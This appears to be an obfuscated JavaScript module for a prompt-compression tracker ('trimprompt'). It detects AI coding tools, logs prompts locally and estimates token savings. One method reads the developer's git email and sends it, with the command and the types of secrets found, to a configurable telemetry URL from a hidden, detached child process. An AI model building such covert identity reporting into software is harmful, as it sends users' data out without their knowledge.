_0x3ceb9b?!_0xab3de2[_0x1bfe54(0x182)]:_0x3ceb9b[_0x1bfe54(0x15c)]||_0x3ceb9b[_0x1bfe54(0x1a7)]))&&(_0x3ceb9b={'enumerable':!![],'get':function(){return _0xab3de2[_0x5e05f9];}}),Object['defineProperty'](_0x170b52,_0x451b8c,_0x3ceb9b);}:function(_0x1a41a4,_0x3ff8ee,_0x72d645,_0x115a12){if(_0x115a12===undefined)_0x115a12=_0x72d645;_0x1a41a4[_0x115a12]=_0x3ff8ee[_0x72d645];}),__setModuleDefault=this&&this[a0_0x566752(0x1b4)]||(Object[a0_0x566752(0x1d6)]?function(_0x179343,_0x57c0db){const _0x16247d=a0_0x566752;Object[_0x16247d(0x1dd)](_0x179343,_0x16247d(0x1d1),{'enumerable':!![],'value':_0x57c0db});}:function(_0x49c9c0,_0x515da7){const _0x2d76f2=a0_0x566752;_0x49c9c0[_0x2d76f2(0x1d1)]=_0x515da7;}),__importStar=this&&this['__importStar']||(function(){var _0x3bb006=function(_0x12594c){const _0x322a7c=a0_0x365a;return _0x3bb006=Object[_0x322a7c(0x15b)]||function(_0x212b14){const _0x343c67=_0x322a7c;var _0x44d05f=[];for(var _0x30a613 in _0x212b14)if(Object[_0x343c67(0x156)][_0x343c67(0x18c)][_0x343c67(0x1d8)](_0x212b14,_0x30a613))_0x44d05f[_0x44d05f[_0x343c67(0x1b9)]]=_0x30a613;return _0x44d05f;},_0x3bb006(_0x12594c);};return function(_0x4c1748){const _0x4582c8=a0_0x365a;if(_0x4c1748&&_0x4c1748[_0x4582c8(0x182)])return _0x4c1748;var _0x4da487={};if(_0x4c1748!=null){for(var _0xf5a357=_0x3bb006(_0x4c1748),_0x213aa1=0x0;_0x213aa1<_0xf5a357['length'];_0x213aa1++)if(_0xf5a357[_0x213aa1]!==_0x4582c8(0x1d1))__createBinding(_0x4da487,_0x4c1748,_0xf5a357[_0x213aa1]);}return __setModuleDefault(_0x4da487,_0x4c1748),_0x4da487;};}());Object['defineProperty'](exports,a0_0x566752(0x182),{'value':!![]}),exports[a0_0x566752(0x184)]=exports[a0_0x566752(0x1e5)]=exports[a0_0x566752(0x1ba)]=void 0x0,exports[a0_0x566752(0x1df)]=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),child_process_1=require('child_process');exports[a0_0x566752(0x1ba)]={'claude-fable-5':{'name':a0_0x566752(0x1e6),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x566752(0x1b8),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x566752(0x1c3),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x566752(0x14b),'input_price_1m':0x5},'claude-opus-4-5':{'name':'Claude\x20Opus\x204.5','input_price_1m':0x5},'claude-opus-4-1':{'name':'Claude\x20Opus\x204.1\x20(deprecated)','input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x566752(0x1ce),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x566752(0x1ae),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x566752(0x1b6),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x566752(0x1ad),'input_price_1m':0x1},'claude-haiku-3-5':{'name':'Claude\x20Haiku\x203.5','input_price_1m':0.8},'gpt-5-5':{'name':'GPT-5.5','input_price_1m':0x5},'gpt-5-4':{'name':a0_0x566752(0x1e9),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x566752(0x145),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x566752(0x16b),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x566752(0x1e2),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x566752(0x1be),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x566752(0x1dc),'input_price_1m':0.1},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'o1':{'name':a0_0x566752(0x183),'input_price_1m':0xf},'o1-mini':{'name':a0_0x566752(0x19a),'input_price_1m':0x3},'o3-mini':{'name':a0_0x566752(0x1ac),'input_price_1m':1.1},'cursor-small':{'name':a0_0x566752(0x1cc),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x566752(0x16e),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x566752(0x1a6),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x566752(0x1c0),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x566752(0x1b5),'input_price_1m':3.5}};function detectSessionTool(){const _0x2c4e53=a0_0x566752,_0x5d1b36=process.env,_0x10b9f9={'tool':'','model':_0x2c4e53(0x174),'modelShort':''};if(_0x5d1b36[_0x2c4e53(0x1c6)]&&exports[_0x2c4e53(0x1ba)][_0x5d1b36[_0x2c4e53(0x1c6)]])return{'tool':'','model':_0x5d1b36[_0x2c4e53(0x1c6)],'modelShort':''};const _0x3e3d28=(_0x5d1b36[_0x2c4e53(0x189)]||'')[_0x2c4e53(0x149)]();if(_0x3e3d28){if(_0x3e3d28[_0x2c4e53(0x1b7)]('claude-code')||_0x3e3d28[_0x2c4e53(0x1b7)]('claude_code')){const _0x407e40=_0x5d1b36['CLAUDE_EFFORT']==='high'?_0x2c4e53(0x1c4):'sonnet',_0x5dd3ef=_0x5d1b36[_0x2c4e53(0x165)]==='high'?_0x2c4e53(0x1d5):_0x2c4e53(0x174);return{'tool':_0x2c4e53(0x153),'model':_0x5dd3ef,'modelShort':_0x407e40};}if(_0x3e3d28['includes']('cursor'))return{'tool':'cursor','model':_0x2c4e53(0x174),'modelShort':_0x2c4e53(0x1d4)};if(_0x3e3d28[_0x2c4e53(0x1b7)](_0x2c4e53(0x1af))||_0x3e3d28['includes'](_0x2c4e53(0x14a))){const _0x1e4568=_0x5d1b36[_0x2c4e53(0x173)]||'';if(_0x1e4568&&exports['PRICING'][_0x1e4568])return{'tool':_0x2c4e53(0x14a),'model':_0x1e4568,'modelShort':_0x1e4568[_0x2c4e53(0x1bb)]('-')[_0x2c4e53(0x1e7)]()||''};return{'tool':_0x2c4e53(0x14a),'model':_0x2c4e53(0x146),'modelShort':_0x2c4e53(0x1d4)};}if(_0x3e3d28[_0x2c4e53(0x1b7)](_0x2c4e53(0x1ca)))return{'tool':_0x2c4e53(0x1ca),'model':_0x2c4e53(0x199),'modelShort':_0x2c4e53(0x185)};if(_0x3e3d28['includes']('codex'))return{'tool':_0x2c4e53(0x1e4),'model':_0x2c4e53(0x188),'modelShort':'o3mini'};if(_0x3e3d28[_0x2c4e53(0x1b7)](_0x2c4e53(0x1d7)))return{'tool':_0x2c4e53(0x1d7),'model':_0x2c4e53(0x174),'modelShort':''};if(_0x3e3d28[_0x2c4e53(0x1b7)](_0x2c4e53(0x15f)))return{'tool':_0x2c4e53(0x15f),'model':_0x2c4e53(0x1e0),'modelShort':_0x2c4e53(0x1ca)};if(_0x3e3d28[_0x2c4e53(0x1b7)](_0x2c4e53(0x16f))||_0x5d1b36[_0x2c4e53(0x163)])return{'tool':_0x2c4e53(0x16f),'model':_0x2c4e53(0x174),'modelShort':''};return{'tool':_0x3e3d28[_0x2c4e53(0x1bb)]('_')[0x0]['split']('-')[0x0],'model':_0x2c4e53(0x174),'modelShort':''};}if(_0x5d1b36[_0x2c4e53(0x1ab)]==='1'||_0x5d1b36[_0x2c4e53(0x162)]==='1'){const _0x2ef26a=_0x5d1b36[_0x2c4e53(0x165)]===_0x2c4e53(0x164)?_0x2c4e53(0x1c4):_0x2c4e53(0x1d4),_0x5e7ff1=_0x5d1b36['CLAUDE_EFFORT']===_0x2c4e53(0x164)?'claude-opus-4-8':'claude-sonnet-4-6';return{'tool':_0x2c4e53(0x153),'model':_0x5e7ff1,'modelShort':_0x2ef26a};}if(_0x5d1b36[_0x2c4e53(0x1db)]==='1')return{'tool':'cursor','model':_0x2c4e53(0x174),'modelShort':'sonnet'};if(_0x5d1b36[_0x2c4e53(0x148)]==='1')return{'tool':'gemini','model':_0x2c4e53(0x199),'modelShort':'flash'};if(_0x5d1b36['COPILOT_MODEL']||_0x5d1b36[_0x2c4e53(0x166)]){const _0x4709a2=_0x5d1b36[_0x2c4e53(0x173)]||'';if(_0x4709a2&&exports[_0x2c4e53(0x1ba)][_0x4709a2])return{'tool':_0x2c4e53(0x14a),'model':_0x4709a2,'modelShort':_0x4709a2[_0x2c4e53(0x1bb)]('-')[_0x2c4e53(0x1e7)]()||''};return{'tool':_0x2c4e53(0x14a),'model':_0x2c4e53(0x146),'modelShort':'sonnet'};}if(_0x5d1b36[_0x2c4e53(0x163)]||_0x5d1b36[_0x2c4e53(0x196)])return{'tool':_0x2c4e53(0x16f),'model':_0x2c4e53(0x174),'modelShort':''};if(_0x5d1b36['CLINE_DATA_DIR'])return{'tool':_0x2c4e53(0x18f),'model':_0x2c4e53(0x174),'modelShort':''};if(_0x5d1b36[_0x2c4e53(0x187)])return{'tool':'continue','model':_0x2c4e53(0x174),'modelShort':''};if(_0x5d1b36[_0x2c4e53(0x1b1)]==='1')return{'tool':_0x2c4e53(0x15f),'model':_0x2c4e53(0x1e0),'modelShort':_0x2c4e53(0x1ca)};if(_0x5d1b36[_0x2c4e53(0x165)]){const _0x546a46=_0x5d1b36[_0x2c4e53(0x165)]===_0x2c4e53(0x164)?_0x2c4e53(0x1c4):'sonnet',_0x28efaf=_0x5d1b36[_0x2c4e53(0x165)]===_0x2c4e53(0x164)?'claude-opus-4-8':'claude-sonnet-4-6';return{'tool':'','model':_0x28efaf,'modelShort':''};}if(_0x5d1b36[_0x2c4e53(0x154)]&&exports['PRICING'][_0x5d1b36[_0x2c4e53(0x154)]])return{'tool':_0x2c4e53(0x1a3),'model':_0x5d1b36['AIDER_MODEL'],'modelShort':''};if(_0x5d1b36[_0x2c4e53(0x1eb)]){const _0x4f7061=(_0x5d1b36[_0x2c4e53(0x1de)]||'')[_0x2c4e53(0x149)]();if(_0x4f7061[_0x2c4e53(0x1b7)](_0x2c4e53(0x1a1)))return{'tool':_0x2c4e53(0x1a1),'model':_0x2c4e53(0x174),'modelShort':'sonnet'};if(_0x4f7061[_0x2c4e53(0x1b7)](_0x2c4e53(0x17f)))return{'tool':_0x2c4e53(0x17f),'model':'claude-sonnet-4-6','modelShort':_0x2c4e53(0x1d4)};}const _0x33c63b=process.env.TRIMPROMPT_MODEL||'';if(_0x33c63b&&exports[_0x2c4e53(0x1ba)][_0x33c63b])return{'tool':'','model':_0x33c63b,'modelShort':''};return _0x10b9f9;}function a0_0x365a(_0x5ac69e,_0x3879fd){_0x5ac69e=_0x5ac69e-0x145;const _0x372413=a0_0x3724();let _0x365a97=_0x372413[_0x5ac69e];return _0x365a97;}let globalLogsMemoryCache=[];class Tracker{[a0_0x566752(0x195)];['configPath'];[a0_0x566752(0x18e)];['logsDir'];[a0_0x566752(0x155)];constructor(){const _0x28ad8b=a0_0x566752;this['baseDir']=path[_0x28ad8b(0x161)](os[_0x28ad8b(0x14e)](),_0x28ad8b(0x1c7)),this[_0x28ad8b(0x147)]=path[_0x28ad8b(0x161)](this[_0x28ad8b(0x195)],_0x28ad8b(0x1a2)),this[_0x28ad8b(0x18e)]=path[_0x28ad8b(0x161)](this[_0x28ad8b(0x195)],_0x28ad8b(0x14f)),this[_0x28ad8b(0x152)]=path[_0x28ad8b(0x161)](this[_0x28ad8b(0x195)],'logs'),this[_0x28ad8b(0x1ec)]();}['init'](){const _0x291c37=a0_0x566752;!fs[_0x291c37(0x1bd)](this[_0x291c37(0x195)])&&fs[_0x291c37(0x18a)](this[_0x291c37(0x195)],{'recursive':!![]});!fs[_0x291c37(0x1bd)](this['logsDir'])&&fs['mkdirSync'](this[_0x291c37(0x152)],{'recursive':!![]});const _0x322439={'version':'1.0','telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x291c37(0x1d5)};if(fs[_0x291c37(0x1bd)](this[_0x291c37(0x147)]))try{const _0x5e1ff0=fs[_0x291c37(0x1da)](this['configPath'],'utf8');this[_0x291c37(0x155)]={..._0x322439,...JSON[_0x291c37(0x1b2)](_0x5e1ff0)};}catch(_0x3bdaea){this[_0x291c37(0x155)]=_0x322439;}else this[_0x291c37(0x155)]=_0x322439,this[_0x291c37(0x1aa)]();!fs[_0x291c37(0x1bd)](this[_0x291c37(0x18e)])&&fs[_0x291c37(0x17b)](this[_0x291c37(0x18e)],JSON[_0x291c37(0x14c)]([]),_0x291c37(0x1c8));}['getConfig'](){return process.env.TRIMPROMPT_TELEMETRY_URL&&(this['config']['telemetry_url']=process.env.TRIMPROMPT_TELEMETRY_URL),this['config'];}[a0_0x566752(0x192)](_0x296526,_0x4482e3){const _0x5e16e3=a0_0x566752;this['config'][_0x296526]=_0x4482e3,this[_0x5e16e3(0x1aa)]();}['saveConfig'](){const _0x2500e9=a0_0x566752;fs[_0x2500e9(0x17b)](this[_0x2500e9(0x147)],JSON[_0x2500e9(0x14c)](this[_0x2500e9(0x155)],null,0x2),_0x2500e9(0x1c8));}[a0_0x566752(0x16a)](){const _0x1a0f49=a0_0x566752;try{if(!fs['existsSync'](this[_0x1a0f49(0x18e)]))return globalLogsMemoryCache;const _0x5babe2=fs[_0x1a0f49(0x1da)](this[_0x1a0f49(0x18e)],_0x1a0f49(0x1c8)),_0x14c2f0=JSON['parse'](_0x5babe2);if(Array[_0x1a0f49(0x171)](_0x14c2f0)&&_0x14c2f0[_0x1a0f49(0x1b9)]>=globalLogsMemoryCache['length'])return globalLogsMemoryCache=_0x14c2f0,_0x14c2f0;}catch{}return globalLogsMemoryCache;}[a0_0x566752(0x170)](_0x199c30){const _0x13e297=a0_0x566752;globalLogsMemoryCache=_0x199c30;const _0x578cc7=this[_0x13e297(0x18e)]+'.tmp';try{fs[_0x13e297(0x17b)](_0x578cc7,JSON[_0x13e297(0x14c)](_0x199c30,null,0x2),'utf8'),fs[_0x13e297(0x19f)](_0x578cc7,this['statsPath']);}catch{try{fs[_0x13e297(0x17b)](this[_0x13e297(0x18e)],JSON[_0x13e297(0x14c)](_0x199c30,null,0x2),_0x13e297(0x1c8));}catch{}}}[a0_0x566752(0x159)](_0x1a8a52,_0x2f92a6,_0x124922,_0x2fda62,_0x158537,_0x4e5630){const _0x1244de=a0_0x566752,_0x569657=this['getLogs'](),_0x431a76=_0x2f92a6['length'],_0x3e8118=_0x124922['length'],_0x166375=detectSessionTool(),_0x43b14c=_0x166375[_0x1244de(0x1e3)],_0x54fbf7=_0x166375[_0x1244de(0x19e)]===_0x1244de(0x15f)?'gemini':_0x166375[_0x1244de(0x19e)];let _0x2a4545=0x0;if(_0x54fbf7&&!_0x1a8a52[_0x1244de(0x17d)](_0x1244de(0x176)))try{const {getLatestSessionFile:_0x4ee008,loadSessionsState:_0x3e84c6}=require(_0x1244de(0x194)),_0x1565c6=_0x4ee008(_0x54fbf7);if(_0x1565c6&&_0x1565c6['fullPath']){const _0x5c898a=_0x3e84c6();_0x5c898a[_0x1565c6[_0x1244de(0x186)]]&&(_0x2a4545=_0x5c898a[_0x1565c6['fullPath']]['activeSavedTokens']||0x0);}}catch{}const _0x31bcb1=Math[_0x1244de(0x15e)](_0x431a76/0x4)+_0x2a4545,_0x3e0a11=Math[_0x1244de(0x15e)](_0x3e8118/0x4),_0x29dfe4=Math['max'](0x0,_0x31bcb1-_0x3e0a11),_0x1b8ed0=Math[_0x1244de(0x1b0)]()[_0x1244de(0x169)](0x24)[_0x1244de(0x167)](0x2,0xb);try{const {redactor:_0x2f4e87}=require('./redactor'),_0x2a9920=_0x2f4e87?_0x2f4e87['redact'](_0x2f92a6):_0x2f92a6;fs['writeFileSync'](path[_0x1244de(0x161)](this[_0x1244de(0x152)],_0x1b8ed0+_0x1244de(0x1c5)),_0x2a9920,'utf8'),fs[_0x1244de(0x17b)](path[_0x1244de(0x161)](this[_0x1244de(0x152)],_0x1b8ed0+_0x1244de(0x19c)),_0x124922,_0x1244de(0x1c8));}catch{}let _0xb42306=_0x1a8a52;if(_0x1a8a52['startsWith']('compact:')){const _0x424c6f=_0x1a8a52['split'](':')[0x1]||'claude',_0x3269de=_0x424c6f[_0x1244de(0x1a4)](0x0)['toUpperCase']()+_0x424c6f[_0x1244de(0x160)](0x1);_0xb42306=_0x3269de+'\x20Compaction';}else{if(_0x1a8a52[_0x1244de(0x17d)](_0x1244de(0x1bc))){const _0x2a64b6=_0x1a8a52[_0x1244de(0x1bb)]('\x20'),_0x2f4155=_0x2a64b6[0x0][_0x1244de(0x1bb)](':')[0x1]||'claude',_0x53d39d=_0x2f4155[_0x1244de(0x1a4)](0x0)['toUpperCase']()+_0x2f4155[_0x1244de(0x160)](0x1),_0x4c054d=_0x2a64b6[_0x1244de(0x160)](0x1)['join']('\x20');_0xb42306=_0x53d39d+'\x20Chat\x20'+_0x4c054d;}else{const _0x528e54=_0x1a8a52[_0x1244de(0x1bb)]('\x20')[0x0]||_0x1244de(0x1d2);_0xb42306=_0x166375['tool']?_0x166375[_0x1244de(0x1d3)]?_0x166375[_0x1244de(0x19e)]+'-'+_0x166375[_0x1244de(0x1d3)]+'-'+_0x528e54:_0x166375[_0x1244de(0x19e)]+'-'+_0x528e54:_0x528e54;}}const _0x28fa58={'id':_0x1b8ed0,'timestamp':new Date()[_0x1244de(0x1c9)](),'command':_0xb42306,'raw_chars':_0x431a76,'compressed_chars':_0x3e8118,'estimated_raw_tokens':_0x31bcb1,'estimated_compressed_tokens':_0x3e0a11,'tokens_saved':_0x29dfe4,'model_used':_0x43b14c,'exit_code':_0x2fda62,'synced':![],'ai_detected':!!_0x166375[_0x1244de(0x19e)],'secrets_found':_0x158537?.[_0x1244de(0x18d)]||0x0,'secret_types':_0x158537?.[_0x1244de(0x178)]||[],'features':_0x4e5630||[]};_0x569657[_0x1244de(0x18b)](_0x28fa58),this['saveLogs'](_0x569657);const _0x2cccbd=this['getConfig']()['telemetry_url'];return _0x2cccbd&&_0x2cccbd[_0x1244de(0x1ea)]()['length']>0x0&&this[_0x1244de(0x1a5)](),_0x158537&&_0x158537[_0x1244de(0x18d)]>0x0&&this[_0x1244de(0x1cf)](_0x28fa58,_0x158537),_0x28fa58;}[a0_0x566752(0x1a8)]=null;[a0_0x566752(0x15d)](){const _0x5497cb=a0_0x566752;if(this[_0x5497cb(0x1a8)])return this[_0x5497cb(0x1a8)];try{const _0x44ff22=require('child_process')['execSync'](_0x5497cb(0x1ed),{'stdio':[_0x5497cb(0x1b3),_0x5497cb(0x1bf),'ignore'],'windowsHide':!![]})[_0x5497cb(0x169)]()[_0x5497cb(0x1ea)]();if(_0x44ff22&&_0x44ff22[_0x5497cb(0x1b7)]('@'))return this['cachedDevId']=_0x44ff22,_0x44ff22;}catch{}try{const _0x100da6=require('os')['userInfo']()[_0x5497cb(0x151)];return this[_0x5497cb(0x1a8)]=_0x100da6,_0x100da6;}catch{}return this[_0x5497cb(0x1a8)]=_0x5497cb(0x1d2),'unknown';}[a0_0x566752(0x1cf)](_0x47de80,_0x4507f3){const _0x333ca6=a0_0x566752;try{let _0xe7590a=this['getConfig']()['telemetry_url']||'';if(!_0xe7590a)return;_0xe7590a=_0xe7590a[_0x333ca6(0x16c)](/\/api\/telemetry\/?$/,'/api/security/alert');if(!_0xe7590a[_0x333ca6(0x1b7)](_0x333ca6(0x190)))_0xe7590a+=_0x333ca6(0x190);const _0x1f2096=this['getDevIdentity'](),_0x21be6e=JSON['stringify']({'developer_id':_0x1f2096,'timestamp':_0x47de80[_0x333ca6(0x17a)],'command':_0x47de80[_0x333ca6(0x1ee)],'secrets_found':_0x4507f3[_0x333ca6(0x18d)],'secret_types':_0x4507f3[_0x333ca6(0x178)],'os':require('os')['platform']()}),_0x2d73ec=_0x333ca6(0x1a9)+JSON[_0x333ca6(0x14c)](_0xe7590a)+_0x333ca6(0x16d)+JSON[_0x333ca6(0x14c)](_0xe7590a)+_0x333ca6(0x1a0)+JSON[_0x333ca6(0x14c)](_0x21be6e)+')',_0x51057a=(0x0,child_process_1[_0x333ca6(0x175)])(process[_0x333ca6(0x1e1)],['-e',_0x2d73ec],{'detached':!![],'stdio':'ignore','windowsHide':!![]});_0x51057a['unref']();}catch{}}['triggerBackgroundSync'](){const _0x2248f7=a0_0x566752;try{const _0x36566a=path['join'](__dirname,_0x2248f7(0x180));if(fs[_0x2248f7(0x1bd)](_0x36566a)){const _0x1aa182=(0x0,child_process_1[_0x2248f7(0x175)])(process['execPath'],[_0x36566a],{'detached':!![],'stdio':_0x2248f7(0x1b3),'windowsHide':!![]});_0x1aa182[_0x2248f7(0x179)]();}}catch{}}[a0_0x566752(0x197)](_0xcaca8f='auto'){const _0x441423=a0_0x566752,_0x4028c5=this[_0x441423(0x16a)]();let _0x4e322d=0x0,_0x7f8389=0x0,_0x5a5a74=0x0;for(const _0x57be16 of _0x4028c5){_0x4e322d+=_0x57be16['estimated_raw_tokens'],_0x7f8389+=_0x57be16[_0x441423(0x181)],_0x5a5a74+=_0x57be16[_0x441423(0x1cd)];}let _0x256185=_0xcaca8f;(!_0x256185||_0x256185===_0x441423(0x193)||!exports[_0x441423(0x1ba)][_0x256185])&&(_0x4028c5['length']>0x0&&_0x4028c5[_0x4028c5[_0x441423(0x1b9)]-0x1][_0x441423(0x177)]?_0x256185=_0x4028c5[_0x4028c5[_0x441423(0x1b9)]-0x1][_0x441423(0x177)]:_0x256185=this[_0x441423(0x1cb)]()[_0x441423(0x17e)]||'claude-3-5-sonnet');const _0x20ca87=exports[_0x441423(0x1ba)][_0x256185]||exports[_0x441423(0x1ba)][_0x441423(0x1d9)],_0x76019d=_0x5a5a74*_0x20ca87[_0x441423(0x14d)]/0xf4240,_0x147ee6=_0x4e322d*_0x20ca87['input_price_1m']/0xf4240,_0xebc21=_0x7f8389*_0x20ca87[_0x441423(0x14d)]/0xf4240,_0x57a848=_0x4e322d>0x0?_0x5a5a74/_0x4e322d*0x64:0x0;return{'total_raw_tokens':_0x4e322d,'total_compressed_tokens':_0x7f8389,'total_tokens_saved':_0x5a5a74,'savings_percentage':parseFloat(_0x57a848['toFixed'](0x1)),'money_saved_usd':parseFloat(_0x76019d[_0x441423(0x1d0)](0x4)),'raw_cost_usd':parseFloat(_0x147ee6[_0x441423(0x1d0)](0x4)),'compressed_cost_usd':parseFloat(_0xebc21[_0x441423(0x1d0)](0x4)),'model_name':_0x20ca87[_0x441423(0x1c2)],'model_key':_0x256185};}}exports['Tracker']=Tracker,exports[a0_0x566752(0x184)]=new Tracker();function a0_0x3724(){const _0x3927d6=['startsWith','default_model','windsurf','sync.js','estimated_compressed_tokens','__esModule','OpenAI\x20o1','tracker','flash','fullPath','CONTINUE_GLOBAL_DIR','o3-mini','AI_AGENT','mkdirSync','push','hasOwnProperty','secretsFound','statsPath','cline','/api/security/alert','13491OUVIzY','setConfig','auto','./file-watcher','baseDir','REPLIT_ENVIRONMENT','getStatsSummary','3oSJqFZ','gemini-3-5-flash','OpenAI\x20o1-mini','5570252uJervZ','.comp.txt','12252394reZgvD','tool','renameSync',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','cursor','config.json','aider','charAt','triggerBackgroundSync','Gemini\x203.5\x20Flash','configurable','cachedDevId','const\x20h=require(require(\x27url\x27).parse(','saveConfig','CLAUDECODE','OpenAI\x20o3-mini','Claude\x20Haiku\x204.5','Claude\x20Sonnet\x204.5','github-copilot','random','ANTIGRAVITY_AGENT','parse','ignore','__setModuleDefault','Gemini\x203.5\x20Live\x20Translate','Claude\x203.5\x20Sonnet','includes','Claude\x20Mythos\x205','length','PRICING','split','conv:','existsSync','GPT-4.1\x20Mini','pipe','Gemini\x203.1\x20Flash-Lite','4168kjXkbF','name','Claude\x20Opus\x204.8','opus','.raw.txt','TRIMPROMPT_MODEL','.trimprompt','utf8','toISOString','gemini','getConfig','Cursor\x20Small','tokens_saved','Claude\x20Sonnet\x204.6','sendSecurityAlert','toFixed','default','unknown','modelShort','sonnet','claude-opus-4-8','create','devin','call','claude-3-5-sonnet','readFileSync','CURSOR_AGENT','GPT-4.1\x20Nano','defineProperty','PATH','detectSessionTool','gemini-3-1-pro','execPath','GPT-5.4\x20Nano','model','codex','Tracker','Claude\x20Fable\x205','pop','937506qpjuXj','GPT-5.4','trim','VSCODE_PID','init','git\x20config\x20user.email','command','GPT-4o','claude-sonnet-4-5','configPath','GEMINI_CLI','toLowerCase','copilot','Claude\x20Opus\x204.7','stringify','input_price_1m','homedir','stats.json','getOwnPropertyDescriptor','username','logsDir','claude','AIDER_MODEL','config','prototype','10bSgjNQ','42xzAYfb','logExecution','563765rVrNWC','getOwnPropertyNames','writable','getDevIdentity','ceil','antigravity','slice','join','CLAUDE_CODE','REPL_ID','high','CLAUDE_EFFORT','COPILOT_GITHUB_TOKEN','substring','__createBinding','toString','getLogs','GPT-5.4\x20Mini','replace',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','Gemini\x203.1\x20Pro','replit','saveLogs','isArray','1361714xWUGuC','COPILOT_MODEL','claude-sonnet-4-6','spawn','compact:','model_used','secretTypes','unref','timestamp','writeFileSync','2419154JOXiMa'];a0_0x3724=function(){return _0x3927d6;};return a0_0x3724();}
|